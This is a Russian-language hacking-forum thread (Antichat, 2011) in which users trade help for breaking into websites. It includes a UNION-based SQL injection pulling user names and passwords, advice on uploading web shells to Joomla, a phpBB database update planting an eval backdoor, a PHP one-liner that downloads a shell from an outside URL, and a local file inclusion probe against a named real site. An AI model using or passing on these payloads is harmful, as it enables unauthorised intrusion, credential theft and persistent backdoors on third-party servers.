ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
06.11.2011, 15:15
|
|
Guest
Сообщений: n/a
Провел на форуме:
3346
Репутация:
0
|
|
Сообщение от tabletkO
tabletkO said:
Einstein
,
Код HTML:
HTML:
www.xxx.xx/text.php?content_id=-4+union+select+UNHEX(HEX(concat(user_name,char(58),user_password)))+from+0x757365725f61757468+limit+0,1--+[/HTML
Код HTML:
попробовал вот результат:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0x757365725f61757468 limit 0,1--' at line 1
[/QUOTE]
попробовал вот результат:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0x757365725f61757468 limit 0,1--' at line 1
[/HTML]
[/QUOTE]
|
|
|
|
06.11.2011, 20:17
|
|
Guest
Сообщений: n/a
Провел на форуме:
4657
Репутация:
0
|
|
Как залить шелл на сайтe Jooma ?
Там стоит virtuemart если что.
|
|
|
|
07.11.2011, 00:26
|
|
Guest
Сообщений: n/a
Провел на форуме:
28093
Репутация:
11
|
|
kyboe,
есть админка? Если есть, то в чем проблема? Если нет, то делай уроки
Einstein,
скинь сайт в ЛС, разберусь.
Люди! Как найти шелл, если сервер WINDOWS? grep, find это никсовые...
|
|
|
|
07.11.2011, 00:49
|
|
Новичок
Регистрация: 21.12.2009
Сообщений: 0
Провел на форуме:
15756
Репутация:
0
|
|
Сообщение от tabletkO
tabletkO said:
Einstein,
скинь сайт в ЛС, разберусь.
Что-бы не разбираться, попробуй не советовать такую чушь )
Сообщение от tabletkO
tabletkO said:
Einstein
,
Код HTML:
HTML:
www.xxx.xx/text.php?content_id=-4+union+select+UNHEX(HEX(concat(user_name,char(58),user_password)))+from+0x757365725f61757468+limit+0,1--+[/HTML
.
Код HTML:
Названия таблицы в этом месте переводить в HEX нельзя.
Einstein 99% что таблица в другой базе, вы тут по кругу вопросы гоняете? :)
[/QUOTE]
Названия таблицы в этом месте переводить в HEX нельзя.
Einstein 99% что таблица в другой базе, вы тут по кругу вопросы гоняете? 
[/HTML]
[/QUOTE]
|
|
|
07.11.2011, 01:17
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404
Репутация:
564
|
|
Сообщение от kyboe
kyboe said:
Как залить шелл на сайтe Jooma ?
Там стоит virtuemart если что.
/showpost.php?p=1809203&postcount=173
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
|
|
|
|
07.11.2011, 14:52
|
|
Guest
Сообщений: n/a
Провел на форуме:
107835
Репутация:
23
|
|
как крутить дальше не пойму?
http://www.flukehearing.com/news_manager.php?page=6616'
|
|
|
|
07.11.2011, 15:50
|
|
Постоянный
Регистрация: 22.09.2006
Сообщений: 531
Провел на форуме:
3818187
Репутация:
369
|
|
залил шелл
Сообщение от None
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval(stripslashes($_GET[e]));' WHERE user_id=2;
но как тепреь залить нормальный шелл туда? с помощью этого минишелла?? подскажите плс в пм буду оч признателен |
|
|
|
07.11.2011, 16:10
|
|
Guest
Сообщений: n/a
Провел на форуме:
40748
Репутация:
78
|
|
Сообщение от satana8920
satana8920 said:
залил шелл
но как тепреь залить нормальный шелл туда?
с помощью этого минишелла?? подскажите плс в пм буду оч признателен
file_put_contents('yashell.php', file_get_contents('http://ya.ru/shell .txt'));
Это если url_fopen еще разрешен.
|
|
|
|
07.11.2011, 16:42
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от er9j6@
er9j6@ said:
как крутить дальше не пойму?
http://www.flukehearing.com/news_manager.php?page=6616'
Warning: include() [function.include]: Failed opening 'sn/6616dfgh.htm' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/fluke/public_html/news_manager.php on line 11
Как бы намекает что это Local File Inclusion (LFI), где к подключаемым станицам добавляется .htm
|
|
|
|
07.11.2011, 17:15
|
|
Guest
Сообщений: n/a
Провел на форуме:
43818
Репутация:
0
|
|
кто нибудь знает онлайновый кодер из str скажем в char
например
asd = CHAR(97,115,100)
мне надо в binary или нех вида
0x123834756
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
